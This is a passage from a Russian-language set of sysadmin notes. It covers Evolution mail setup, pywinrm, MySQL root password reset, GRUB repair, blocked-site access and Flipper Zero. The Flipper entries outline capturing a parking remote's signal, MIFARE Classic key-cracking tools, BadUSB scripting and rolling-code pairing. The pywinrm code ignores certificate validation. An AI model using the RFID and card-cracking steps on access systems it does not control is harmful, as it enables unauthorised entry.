echo $OABUrl | grep -E '(https|http)://(([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&|=|+|$|,|/|\?|%|#|\[|\]])*/(oab|OAB)([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&|=|+|$|,|/|\?|%|#|\[|\]])*/oab.xml)'
OAB_URL_Check=$?
echo $EwsUrl | grep -E '(https|http)://(([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&|=|+|$|,|/|\?|%|#|\[|\]])*/(ews|EWS)([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&|=|+|$|,|/|\?|%|#|\[|\]])*/exchange.asmx)'
EWS_URL_Check=$?

if [ $OAB_URL_Check != 0 ] || [ $EWS_URL_Check != 0 ]; then
echo "OAB and EWS URLs check failed... Exit..." >> ~/.ews_setup.log
else
echo "OAB and EWS URLs check OK" >> ~/.ews_setup.log

######################################################################
### CleaningUp and creating evolution source files
######################################################################
killall evolution-source-registry
rm -Rf ~/.config/evolution/sources
mkdir --parents ~/.config/evolution/sources

#####################################################################################
cat <<EOF > ~/.config/evolution/sources/$NAME_PREFIX.1@$HOSTNAME.source
[Data Source]
DisplayName=$MAIL
Enabled=true
Parent=

[Offline]
StaySynchronized=true

[Authentication]
Host=$EwsHost
Method=GSSAPI
Port=443
ProxyUid=system-proxy
RememberPassword=true
User=$USER
CredentialName=

[Collection]
BackendName=ews
CalendarEnabled=true
ContactsEnabled=true
Identity=$USER
MailEnabled=true

[Security]
Method=none

[Ews Backend]
FilterInbox=true
StoreChangesInterval=3
CheckAll=true
ListenNotifications=true
Email=$MAIL
FilterJunk=true
FilterJunkInbox=false
FoldersInitialized=true
GalUid=$NAME_PREFIX.0@$HOSTNAME
Hosturl=$EwsUrl
Oaburl=$OABUrl
OabOffline=true
OalSelected=
Timeout=300
UseImpersonation=false
ImpersonateUser=
EOF

######################################################################
cat <<EOF > ~/.config/evolution/sources/$NAME_PREFIX.0@$HOSTNAME.source
[Data Source]
DisplayName=$MAIL
Enabled=true
Parent=$NAME_PREFIX.1@$HOSTNAME

[Mail Composition]
Bcc=
Cc=
DraftsFolder=folder://$NAME_PREFIX.3%40$HOSTNAME/%d0%a7%d0%b5%d1%80%d0%bd%d0%be%d0%b2%d0%b8%d0%ba%d0%b8
SignImip=true
TemplatesFolder=folder://local/Templates

[Mail Identity]
Address=$MAIL
Name=$FULL_NAME
Organization=
ReplyTo=
SignatureUid=$NAME_PREFIX.33@$HOSTNAME

[Mail Submission]
SentFolder=folder://$NAME_PREFIX.3%40$HOSTNAME/%d0%9e%d1%82%d0%bf%d1%80%d0%b0%d0%b2%d0%bb%d0%b5%d0%bd%d0%bd%d1%8b%d0%b5
TransportUid=$NAME_PREFIX.13@$HOSTNAME
RepliesToOriginFolder=false
EOF

######################################################################
cat <<EOF > ~/.config/evolution/sources/$NAME_PREFIX.3@$HOSTNAME.source
[Data Source]
DisplayName=$MAIL
Enabled=true
Parent=$NAME_PREFIX.1@$HOSTNAME

[Refresh]
Enabled=true
IntervalMinutes=3

[Mail Account]
BackendName=ews
IdentityUid=$NAME_PREFIX.0@$HOSTNAME
ArchiveFolder=
EOF

###############################################################################
cat <<EOF > ~/.config/evolution/sources/$NAME_PREFIX.13@$HOSTNAME.source
[Data Source]
DisplayName=$MAIL
Enabled=true
Parent=$NAME_PREFIX.1@$HOSTNAME

[Mail Transport]
BackendName=ews
EOF

################################################################################
cat <<EOF > ~/.config/evolution/sources/local.source
# Special built-in mail store.
[Data Source]
DisplayName=On This Computer
Enabled=false
Parent=

[Mail Account]
BackendName=maildir
IdentityUid=self
ArchiveFolder=

[Maildir Backend]
FilterInbox=true
Path=$HOME/.local/share/evolution/mail/local
EOF

########################################################################
cat <<EOF > ~/.config/evolution/sources/vfolder.source
# Special built-in mail store.

[Data Source]
DisplayName=Search Folders
Enabled=false
Parent=

[Mail Account]
BackendName=vfolder
IdentityUid=self
ArchiveFolder=

[Vfolder Backend]
FilterInbox=true
EOF

##########################################################################
mkdir --parents ~/.config/evolution/mail/
cat <<EOF > ~/.config/evolution/mail/state.ini
[GlobalFolder]
GroupByThreads=false
PreviewVisible=true

[Store $NAME_PREFIX.3@$HOSTNAME]
Expanded=true

[Search Bar]
SearchScope=mail-scope-current-folder
SearchOption=mail-search-subject-or-addresses-contain

[Folder Tree]
Selected=folder://$NAME_PREFIX.3%40$HOSTNAME/%d0%92%d1%85%d0%be%d0%b4%d1%8f%d1%89%d0%b8%d0%b5

[Folder folder://$NAME_PREFIX.3%40$HOSTNAME/%d0%92%d1%85%d0%be%d0%b4%d1%8f%d1%89%d0%b8%d0%b5]
GroupByThreads=false
PreviewVisible=true
Expanded=true

EOF

######################################################################
### Create Signature
cat <<EOF > ~/.config/evolution/sources/$NAME_PREFIX.33@$HOSTNAME.source
[Data Source]
DisplayName=$MAIL
Enabled=true
Parent=

[Mail Signature]
MimeType=text/html
EOF

mkdir --parents ~/.config/evolution/signatures/
cat <<EOF > ~/.config/evolution/signatures/$NAME_PREFIX.33@$HOSTNAME
<html><head></head><body><div><b style="color: rgb(0, 0, 0); font-family: Calibri, sans-serif; line-height: 18px;"><span style="font-size: 10pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51);">С уважением,&nbsp;<br>$FULL_NAME</span></b><span style="line-height: 18px; font-size: 10pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51);"></span><span style="line-height: 18px; font-size: 10pt; font-family: Arial, sans-serif; color: rgb(67, 150, 57);"><br><i>Даем людям уверенность и надежность!</i></span><span style="line-height: 18px; font-size: 10pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51);"><br><a href="http://www.sberbank.ru/" style="color: purple;"><span style="color: blue;">www.sberbank.ru</span></a></span></div></body></html>
EOF

fi
fi

execute_commands_on_windows_host_using_pywinrm

anonymous@undisclosed.example.com (Anonymous) — Mon, 26 Aug 2019 09:16:43 +0000

https://github.com/diyan/pywinrm/
https://pypi.org/project/pywinrm/0.2.1/
https://devblogs.microsoft.com/scripting/using-winrm-on-linux/

sudo apt-get install python-dev libkrb5-dev
pip install Kerberos pywinrm

#!/bin/python

import winrm

win_host = 'http://windows.domain.local:5985/wsman'
win_user = 'user@DOMAIN.LOCAL'
win_pass = 'secret_password'
winrm_transport='ntlm'

s = winrm.Session(win_host, auth=(win_user, win_pass), transport=winrm_transport)
r = s.run_cmd('ipconfig', ['/all'])
print (r.std_out)
print (r.status_code)


ps_script = """$strComputer = $Host
Clear
$RAM = WmiObject Win32_ComputerSystem
$MB = 1048576

"Installed Memory: " + [int]($RAM.TotalPhysicalMemory /$MB) + " MB" """

r= s.run_ps(ps_script)
print (r.status_code)
print (r.std_out)

#!/bin/python

from winrm.protocol import Protocol

p = Protocol(
    endpoint='https://windows-host:5986/wsman',
#   endpoint='http://windows-host:5985/wsman',    
    transport='ntlm',
    username=r'somedomain\someuser',
    password='secret',
    server_cert_validation='ignore')
shell_id = p.open_shell()
command_id = p.run_command(shell_id, 'ipconfig', ['/all'])
std_out, std_err, status_code = p.get_command_output(shell_id, command_id)
p.cleanup_command(shell_id, command_id)
p.close_shell(shell_id)
print (std_out)
print (status_code)

Ошибки

TypeError: startswith first arg must be bytes...

При попытке запустить PowerShell Script на русскоязычной Windows получаем такое:

Traceback (most recent call last):
  File "./test_winrm.py", line 19, in <module>
    r= s.run_ps(ps_script)
  File "/usr/local/lib/python3.7/dist-packages/winrm/__init__.py", line 54, in run_ps
    rs.std_err = self._clean_error_msg(rs.std_err)
  File "/usr/local/lib/python3.7/dist-packages/winrm/__init__.py", line 62, in _clean_error_msg
    if msg.startswith("#< CLIXML\r\n"):
TypeError: startswith first arg must be bytes or a tuple of bytes, not str

Обсуждение тут: https://github.com/diyan/pywinrm/issues/111
Судя по всему - причина в каких-то проблемах с кодировкой в функции _clean_error_msg(self, msg). Я просто закомментировал пару строк, которые вызывают эту функцию, которая делает удобочитаемыми сообщения об ошибках.
В принципе, меня вполне устроит просто проверка того, что скрипт вернул код 0.
В моей системе в файлике /usr/local/lib/python3.7/dist-packages/winrm/init.py я закоменнтировал строки:

      if len(rs.std_err):
          # if there was an error message, clean it it up and make it human
          # readable
          rs.std_err = self._clean_error_msg(rs.std_err)

в функции run_ps(self, script).
Однако, если исполнять этот скрипт в среде python2, то все отрабатывает без ошибок!

faq-по-восстановлению-забытого-пароля-администратора ...

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

FAQ по восстановлению забытого пароля администратора в MySQL

В данной статье описывается что делать если вы забыли администраторский пароль или случайно удалили самого root-пользователя.
Статья ориентирована в первую очередь на новичков, поэтому описание всех действий изложено очень подробно, однако материал может оказаться небезынтересен и для более опытных пользователей.
Как восстановить забытый пароль администратора?

Пароли хранятся в базе в зашифрованном виде, поэтому восстановить забытый пароль нельзя, однако можно установить новый. Для этого нужно:
1. Перезапустить сервер в режиме –skip-grant-tables
2. Установить новый пароль администратора
3. Перезапустить сервер в обычном режиме

Теперь подробнее о каждом пункте. В режиме skip-grant-tables отключена проверка прав доступа и привилегий, иными словами, вы можете подключиться с пустыми логин/пароль и будете обладать при этом всеми возможными привилегиями.
Примечание. Обратите внимание, что другие пользователи, подключившие до выполнения вами команды flush privileges; или перезагрузки сервера в обычном режиме, также будут обладать администраторскими правами.

MySQL сервер хранит информацию о привилегиях в таблицах привилегий служебной базы mysql.
При старте сервера, содержимое таблиц привилегий загружается в память и в дальнейшей работе используется копия, находящаяся в памяти.
Команда flush privileges; обновляет данные о привилегиях, загруженные в память. Таким образом, данная команда отменяет режим skip-grant-table и включает проверку прав доступа и привилегий.

Примечание. Обратите внимание, что если вы напрямую редактируете содержимое таблиц привилегий базы mysql, с помощью команд insert, update, delete, то изменения сразу не вступят в силу, так как информация о пользовательских привелегиях, загруженная в память, останется неизменной.
Если использовать рекомендованные команды типа grant или set password, то изменения вступят в силу незамедлительно.

Примечание. Обратите внимание, что изменение прав пользователей не распространяется на уже установленные соединения пользователей. Если нужно отнять у кого-то права, то после следует убедиться, что он не подключен к серверу (с помощью SHOW FULL PROCESSLIST), а если подключен, то убить его поток (оператором KILL).

Для запуска сервера в режиме skip-grant-tables проще всего временно добавить строчку skip-grant-tables в my.ini (для ОС Linux файл будет называться my.cnf) в секции [mysqld]

[mysqld]
skip-grant-tables

другие параметры

Затем перезапустить сервер.

Дальнейшие действия будут зависеть от используемого вами клиента:

Если ваш клиент не разрывает соединение после выполнения каждой команды как, например, родной клиент mysql, то первым делом выполняем команду flush privileges;, которая загружает в память таблицы грантов. Затем с помощью команд grant или set password назначаем пароль администратору:

set password for root@localhost=password('mypassword');

Данный вариант действий является предпочтительным.
Если ваш клиент разрывает соединение после выполнения каждой команды, например, Query Browser, то после выполнения flush privileges; он будет требовать указать пароль, который мы ещё не успели назначить. Назначить сначала пароль с помощью команд grant или set password не получится, так как в режиме skip-grant-tables их нельзя использовать. (Выше уже указывалось, что flush privileges; отменяет данный режим, поэтому в предыдущем пункте данные команды работают.) Остается единственно возможный способ это напрямую изменять данные в таблице mysql.user

UPDATE mysql.user SET password=PASSWORD('mypassword') WHERE user='root' AND host='localhost';

Как восстановить root-пользователя?

Если root-пользователь (пользователь, обладающий всеми возможными прривилегиями, как правило имеет имя root) был по неосторожности удален, то последовательность действий аналогична предыдущему разделу за исключением того, что вместо назначения пароля необходимо будет создать root-пользователя. Т.е. в режиме skip-grant-tables в зависимости от используемого вами клиента действуем одним из нижеследующих способов:

flush privileges;

Затем добавляем root-пользователя с помощью команды grant

grant all ON *.* TO `root`@`localhost` identified by 'mypassword' with grant option;

Создаем root-пользователя путем прямого добавления записи в таблицу mysql.user. Обратите внимание, что структура таблицы mysql.user в разных версиях различна. Перед добавлением изучите её с помощью команд SHOW CREATE TABLE или DESCRIBE. Например, для версии 5.1.21-beta-community добавление root-пользователя производится следующей командой:

INSERT INTO mysql.user
    (Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections)
    VALUES('localhost','root',password('mypassword'),'Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y',//,//,//,//,0,0,0,0);

Распространенные случаи

Ошибка (1045 Access denied for user 'root'@'localhost' (using password: No)) означает, что подключение производится с пустым паролем.
Ошибка (1045 Access denied for user 'root'@'localhost' (using password: Yes)) указывает на неверный пароль.
Обе данные ошибки могут возникнуть вследствии недостатока прав доступа для выполнения требуемой операции, т.е. пользователя зовут root, но права у него не рутовые. На практике такая ситуация маловероятна.

Удалённый доступ root-пользователя.

В MySQL пользователь характеризуется двумя параметрами: именем и хостом, с которого он может обращаться, т.е. user@x и user@y - это разные пользователи. Для удобства записи в MySQL используются квантификаторы, например, % на месте хоста означает любую машину кроме локальной.

Если при доступе под рутом с удаленной машины вы получаете ошибку (1045 Acces denied for user 'root'@'%'), то это может оказаться следствием того, что в настройках по умолчанию удаленный root-пользователь оказался не совсем “рутом”, т.е. не обладает всеми привилегиями. Для проверки нужно (под настоящим “рутом”) сравнить результат выполнения команд:

show grants for root@localhost;
show grants for root@'%';

И при необходимости добавить недостающие привилегии пользователю root@'%' с помощью команды GRANT. Если необходимо владеть привилегиями администратора при соединении с удаленной машины, то рекомендуем, в целях безопасности, называть такого пользователя другим именем (не root).
Ссылки

В официальной документации описан оригинальный способ восстановления администраторского пароля. Подробнее см. How to Reset the Root Password

find_duplicates_in_ubuntu

anonymous@undisclosed.example.com (Anonymous) — Sun, 08 May 2022 06:17:24 +0000

Поиск дубликатов файлов в Ubuntu

Раньше был пакет fslint:

sudo apt-get install fslint

Однако сейчас он не поддерживается и на замену ему запилили czkawka. Есть вариант cli и gui
https://qarmin.github.io/czkawka/instructions/Installation.html
https://github.com/qarmin/czkawka/releases/

firefox_privacy_hardening

anonymous@undisclosed.example.com (Anonymous) — Tue, 18 Aug 2020 08:33:18 +0000

Настройки приватности Firefox

По-дефолту firefox передает много телеметрии (хотя и обезличенной). Но это можно отключить. тут я собираю некоторые заметки на эту тему.
https://github.com/ghacksuserjs/ghacks-user.js

firefox_rkn_unblock

anonymous@undisclosed.example.com (Anonymous) — Fri, 11 Oct 2019 13:27:28 +0000

Доступ на заблокированные ресурсы

Доступ на заблокированные ресурсы с помощью DNS Over HTTPS и eSNI (Encrypted SNI). Работает если на ресурсе включен eSNI. На https://rutracker.nl - включен!

в firefox в about:config меняем network.security.esni.enabled на true.
Для работы eSNI желательна работа DNS over HTTPS, так как публичный ключ для шифрования sni берётся с поддомена _esni.example.com IN TXT, так что желателен зашифрованный транспорт dns. Для этого network.trr.mode выставляем в 2 (или 3, чтобы был только TRR), а network.trr.uri - mozilla.cloudflare-dns.com/dns-query

Можно еще прописать network.trr.bootstrapAddress, иначе resolve самого mozilla.cloudflare-dns.com будет происходить через системный resolver и лишь дальше установлена DoH сессия с DNS, что вызывает проблемы, если сразу запустить Firefox (Можно поставить 1.0.0.1, 1.1.1.1 2606:4700:4700::1111 или 2606:4700:4700::1001 или что там будет у

dig mozilla.cloudflare-dns.com.

(А там не обязательно эти адреса, но и любые из динамического облака cloudflare.)) Подробнее про trr resolver: https://github.com/bagder/TRRprefs

Дальше нужно проверить, что все заработало)) Заходим на https://www.cloudflare.com/ssl/encrypted-sni/ и нажимаем на Check My Browser

fix_grub_initramfs_boot

anonymous@undisclosed.example.com (Anonymous) — Tue, 17 Mar 2026 10:38:53 +0000

Что делать, если вместо загрузки системы вы видите приглашение grub shell или initramfs shell.

GRUB

В командной оболочке grub shell нам нужно сделать три вещи:

Выбрать раздел откуда будем загружаться
Выбрать ядро
Выбрать ram-диск initrd

А потом выполнить команду boot.

grub> set root=(hd1,gpt3)
grub> linux /boot/vmlinuz...
grub> initrd /boot/initrd...
grub> boot

initramfs

Если после этого, система загружается, но не может смонтировать root и вываливается в initramfs shell, то нужно:

Смонтировать root вручную
Подмонтиовать (перенести) в смонтированный root директории /dev, /proc и /sys
Переключиться в смонтированный root и запустить /sbin/init

# First, find and mount the new filesystem.

   mkdir /newroot
   mount /dev/whatever /newroot
   mount /dev/whatever_efi /newroot/boot/efi/

   # Unmount everything else you've attached to rootfs.  (Moving the filesystems
   # into newroot is something useful to do with them.)

   mount --move /sys /newroot/sys
   mount --move /proc /newroot/proc
   mount --move /dev /newroot/dev

Теперь можно попытаться либо загрузиться

   # Now switch to the new filesystem, and run /sbin/init out of it.  Don't
   # forget the "exec" here, because you want the new init program to inherit
   # PID 1.

   exec switch_root /newroot /sbin/init

Либо - починить загрузку:

update-grub
update-initramfs -u

ИЛИ
В случае с Ubuntu дефолтным рутом является директория /root, поэтому можно делать так:

# Обнаружим тома LVM
vgchamge -ay
mount /dev/mapper/ubuntu-root /root
mount --bind /dev /root/dev
mount --bind /proc /root/proc
mount --bind /sys /root/sys
exit

Чиним GRUB и initramfs

После того, как система нормально загрузилась восстанавливаем GRUB и initramfs:

sudo grub-install --target=x86_64-efi --recheck --efi-directory=/boot/efi --boot-directory=/boot /dev/nvme0n1
sudo update-initramfs -u 
sudo update-grub
sudo reboot

Live-CD

Если есть возможность загрузиться с Live-CD, то починить загрузчик GRUB можно так:

Смонтировать root (и /boot при необходимости)
Подмонтировать в смонтированный root директории /dev, /proc и /sys
Выполнить chroot в смонтированный root
Починить grub и initramfs
Отмонтировать все и перезагрузиться

mount /dev/sdb3 /mnt/ -o subvol=@
mount --rbind /dev /mnt/dev
mount --rbind /sys /mnt/sys
mount --rbind /proc /mnt/proc
mount /dev/sdb1 /mnt/boot/efi/

В случае с зашифрованным LVM-томом все немного иначе.
имя nvme0n1p3_crypt в команде luksOpen должно соответствовать тому, что прописано в /etc/crypttab:

cryptsetup luksOpen /dev/nvme0n1p3 nvme0n1p3_crypt
mount /dev/mapper/vgkubuntu-root /mnt/
mount /dev/nvme0n1p2 /mnt/boot/
mount /dev/nvme0n1p1 /mnt/boot/efi/
mount --rbind /dev/ /mnt/dev/
mount --rbind /sys/ /mnt/sys/
mount --rbind /proc/ /mnt/proc/

И после монтирования поправляем:

chroot /mnt/
grub-install /dev/sdb
update-initramfs -u
update-grub
exit
umount /mnt/boot/efi/
umount /mnt/dev
umount /mnt/sys
umount /mnt/proc
umount /mnt

Я восстанавливал grub/initramfs после переноса системы (Ubuntu 24.04) на другой ноут с помощью dd и у меня загружался только grub, а потом - черный экран.
Загрузиться удалось из меню Advanced options for Ubuntu → Recovery mode → дальше загружалось ядро, initramfs запрашивал пароль для зашифрованного тома и можно было сделать Resume boot
Вылечилось путем редактирования /etc/default/grub и добавления в GRUB_CMDLINE_LINUX_DEFAULT параметра nomodeset:

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash nomodeset"

Fix GRUB MBR -> GPT

Однажды мне понадобилось расширить диск в виртуалке. Объем существующего диска был увеличен, но диск имел таблицу разделов MBR и основных разделов на нем было уже 4. То есть нужно было конвертить таблицу раздело в GPT. Кроме того, все разделы этого диска были в LVM и загрузка происходила непосредственно с LVM-тома (в случае с MBR GRUB такое позволяет).
Конвертация происходила с помощью gdisk. Он ругнулся при запуске на таблицу MBR, а затем - я просто нажал w, подтверждение - и всё - таблица разделов сконвертирована в GPT. Затем - еще раз запустил gdisk, создал новый раздел, на нем создал PhysicalVolume ну и так далее.
При перезагрузке этого сервака выяснилось, что он не грузится.
Оказалось, что в случае, когда таблица разделов GPT, а загрузка происходит с помощью BIOS (не EFI) - grub нуждается в малюсеньком разделе (1-2Мб) BIOS boot partition.
В итоге пришлось:

раcширить диск еще немного (на 0.1Gi)
загрузиться с LiveCD

сделать малюсенький раздел (с помощью gdisk), дать ему тип EF02. Примерно так:

#перемещаем таблицу разделов в конец диска
sgdisk -e -g /dev/sda
#перечитываем таблицу разделов
partx -u
#создаем новый раздельчик:
sgdisk -n 4:293605246:293609946 -t 4:EF02 /dev/sda

перезагрузиться с LiveCD еще раз, чтобы обнаружились партиции (у меня почему-то не сработали ни partprobe, ни kpartx)
смонтировать корневой раздел (он в LVM и /boot с ядром тоже на нем же), например в /mnt

переустановить grub:

grub-install /dev/sda --root-directory=/mnt

Всё. В итоге система поднялась.

Real Fix

/usr/sbin/grub-probe: error: disk `lvmid/N3HVdL-143p-0oFW-Gx6d-SroA-tA8e-1Icrfe/wpdsZY-qoqU-j7M1-LGSL-IA2p-hK6I-brvC9D' not found.

смотрим диски

root@rescue ~ # lsscsi 
[N:0:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme0n1
[N:1:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme1n1
[N:2:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme2n1
[N:3:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme3n1
[N:4:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme4n1
[N:5:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme5n1
[N:6:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme6n1
[N:7:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme7n1

Я знаю, что EFI находится на (hd1,gpt2), а / и /boot - на LVM-томе /dev/pve/root
Монтируем root и биндим все что надо:

root@rescue ~ # blkid /dev/pve/root
/dev/pve/root: UUID="507da6be-c993-414a-91c1-fee245500c4d" BLOCK_SIZE="4096" TYPE="ext4"
root@rescue ~ # lsblk /dev/pve/root
NAME     MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
pve-root 253:0    0  96G  0 lvm  
root@rescue ~ # resize2fs /dev/pve/root 95G
resize2fs 1.46.2 (28-Feb-2021)
Please run 'e2fsck -f /dev/pve/root' first.

root@rescue ~ # e2fsck -f /dev/pve/root
e2fsck 1.46.2 (28-Feb-2021)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/pve/root: 60013/6291456 files (0.2% non-contiguous), 1830899/25165824 blocks
root@rescue ~ # resize2fs /dev/pve/root 95G
resize2fs 1.46.2 (28-Feb-2021)
Resizing the filesystem on /dev/pve/root to 24903680 (4k) blocks.
The filesystem on /dev/pve/root is now 24903680 (4k) blocks long.

root@rescue ~ # lvreduce -L -1G /dev/pve/root
  WARNING: Reducing active logical volume to 95.00 GiB.
  THIS MAY DESTROY YOUR DATA (filesystem etc.)
Do you really want to reduce pve/root? [y/n]: y
  Size of logical volume pve/root changed from 96.00 GiB (24576 extents) to 95.00 GiB (24320 extents).
  Logical volume pve/root successfully resized.
root@rescue ~ # e2fsck -f /dev/pve/root
e2fsck 1.46.2 (28-Feb-2021)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/pve/root: 60013/6225920 files (0.2% non-contiguous), 1826787/24903680 blocks
root@rescue ~ # mount /dev/mapper/pve-root /mnt
root@rescue ~ #  mount -t proc proc /mnt/proc
root@rescue ~ #  mount -t sysfs sys /mnt/sys
root@rescue ~ #  mount -o bind /dev /mnt/dev
root@rescue ~ #  mount -t devpts pts /mnt/dev/pts/
root@rescue ~ #  chroot /mnt
root@rescue:/# mount /dev/nvme0n1p2 /boot/efi/
root@rescue:/#  update-grub
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-5.13.19-1-pve
Found initrd image: /boot/initrd.img-5.13.19-1-pve
Found memtest86+ image: /boot/memtest86+.bin
Found memtest86+ multiboot image: /boot/memtest86+_multiboot.bin
done
root@rescue:/# grub-install /dev/nvme0n1
Installing for i386-pc platform.
Installation finished. No error reported.
root@rescue:/# exit
exit
root@rescue ~ # umount /mnt/proc
root@rescue ~ # umount /mnt/sys
root@rescue ~ # umount /mnt/dev/pts 
root@rescue ~ # umount /mnt/dev
root@rescue ~ # umount /mnt/boot/efi 
root@rescue ~ # umount /mnt

fix_homedir_acl

anonymous@undisclosed.example.com (Anonymous) — Fri, 04 Feb 2022 10:04:02 +0000

Дать на все файлы права на чтение владельцу и права на листинг директорий:

DIR=/home/abondar
chmod 0600 $DIR -R
find $DIR -type d -exec sh -c 'chmod 0700 $0' {} \;

fix_thin_lvm

anonymous@undisclosed.example.com (Anonymous) — Wed, 25 Sep 2019 06:56:24 +0000

https://www.unixrealm.com/?p=12000
https://github.com/jthornber/thin-provisioning-tools

apt-get update && apt-get install git autoconf g++ libexpat1-dev libaio-dev libaio1 make libboost-dev
git clone https://github.com/jthornber/thin-provisioning-tools.git
cd thin-provisioning-tools/
autoconf
./configure
make install

flipper_zero

anonymous@undisclosed.example.com (Anonymous) — Wed, 19 Feb 2025 08:29:59 +0000

Flipper Zero FAQ

Firmwares

Extreme - https://flipper-xtre.me/ , https://github.com/ClaraCrazy/Flipper-Xtreme
Unleashed - https://github.com/DarkFlippers/unleashed-firmware

RFID Crack sequence

Определить тип RFID и рабочую частоту.

LF: 120-1355 kHz (HID Prox, EM, Nedap NeXS)
HF: 13.56 MHz – (MIFARE Classic, DESfire, HID iCLASS, Legic)
UHF: 860 – 980 MHz (RAIN RFID/EPC Gen 2)
Microwave: 2.45 GHz and > (Nedap TRANSIT)

ЧТо я пытался сделать:

С помощью Frequency Analyzer определяю что мой UHF RFID работает на частоте 915 Mhz.
Дальше - записываю с помощью SubGhz → Read RAW передачу, предварительно выбрав частоту 915 и модуляцию AM650.
с помощью qFlipper копирую файлик .sub на компик

Визуализирую записанное с помощью https://github.com/cberetta/flipperzero_scripts :

wget https://raw.githubusercontent.com/cberetta/flipperzero_scripts/master/fzsubtk.py
chmod +x ./fzsubtk.py
fzsubtk.py ./parking_raw.sub

Для работы с UHF RFID существует софт и модуль YRM100 (~$40) - https://github.com/frux-c/uhf_rfid а вот готовый модуль под флиппера - https://www.redteamtools.com/flippermeister/
Вот проекты ридеров https://github.com/zaphoxx/zaphoxx-uhf-rfid , https://github.com/zaphoxx/zuhf-rfid/blob/main/HOWTO_PART1.md https://github.com/haffnerriley/Simultaneous-UHF-RFID-FlipperZero , https://lab.flipper.net/apps/simultaneous_rfid_reader из ардуино и двух TI CC1101 - очевидно один для передачи сигнала, который инициирует и синхронизирует карту, второй для приема и статья про opensource UHF RFID reader - rfid_2023_tag.pdf

Bad KB

Позволяет писать скрипты, которые будут тыкать кнопки в USB-клавиатуре.
https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/file_formats/BadUsbScriptFormat.md
То есть можно скриптовать сложные действия там, где невозможно использовать интернет и Copy-Paste.

NFC

Банковские карты - стандарт NXP MIFARE (Classic).
Про то как оно работает - https://forum.flipperzero.one/t/what-are-the-mifare-classic-keys-for-and-how-do-i-use-them/11147
Чтение этих карт при помощи flipper предполагает перебор ключей. При чтении критично взаимное расположение флиппера и карты. То есть, возможно, читать начнет не сразу и нужно быдет подвигать флиппер относительно карты.
Существуют инструменты для чтения карт самртфонами: https://play.google.com/store/apps/details?id=de.syss.MifareClassicTool
https://github.com/noproto/FlipperMfkey
https://forum.dangerousthings.com/t/how-to-flipper-zero-write-mifare-classic-to-a-gen1a-implant/17766/2
https://medium.com/exc3l/cracking-mifare-classic-cards-with-proxmark3-e42121cd968b

Прописать флиппер в качестве брелка rolling code

https://www.reddit.com/r/flipperzero/s/UH2bn9BkVD

Sorry for the weird step by step instruction formatting. Looked normal when I wrote it, Reddit won't let me edit it. Here's how it's supposed to look like:

1. Finding proper protocol.

Get access to a working remote already paired to the receiver and read it's signal. Check it's name and remember it.
Alternatively, if you don't have access to an existing remote, try to look up the protocol on the internet via searching receiver's name.

2. Add the signal manually to your flipper.

Go to subghz → add manually and find your protocol on the list. If it isn't there, you can try to download it from the web (or just install 3rd party software that already has a lot of the most common protocols, like I did) Click the protocol, name it and save.

3. Find your receivers programming manual.

Try searching the receivers name on the internet, and find it's manual. There you can find info on how to pair a regular new remote. Note that the process is often different if the receiver has no other remotes in it's memory.

4. Follow the pairing manual.

If the manual says, for example, to hold some button on the receiver, just hold-send the signal you added manually.

5. Wait for the receiver to stop programming and enjoy your paired remote! You can use the added manually signal to control the receiver.

force_umount_unreacheable_nfs_share

anonymous@undisclosed.example.com (Anonymous) — Thu, 01 Jul 2021 20:51:16 +0000

Проблема

На хосте Ubuntu 20.04 была смонтирована сетевая NFS-шара, однако в какой-то момент хост с этой шарой стал недоступен по сети. Что же делать?

Решение

Нужно найти все процессы, которые висят в ожидании IO и прибить их, а затем - принудительно отмонтировать шару.
Посмотреть все процессы, ожидающие окончания операций ввода-вывода можно так:

sudo ps -e -o s,pid,cmd | grep ^D

Убить их все сразу можно так:

for proc in `ps -e -o s,pid,cmd | grep ^D | awk '{print $2}'`; do kill -9 $proc; done

Принудительно отмонтировать шару так:

umount -f /mnt/share

freebsd_11.0_radeon_8000_can_not_load_module

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема

Xorg не запускается, а в логах ошибка:

[drm] failed to load kernel module "radeon"

Если попытатьзя загрузить модуль radeon_drv.so вручную:

kldload /usr/local/lib/xorg/modules/drivers/radeon_drv.so

то в dmesg будет ошибка:

link elf: symbol xf86CrtcConfigPrivateIndex undefined

Что же делать

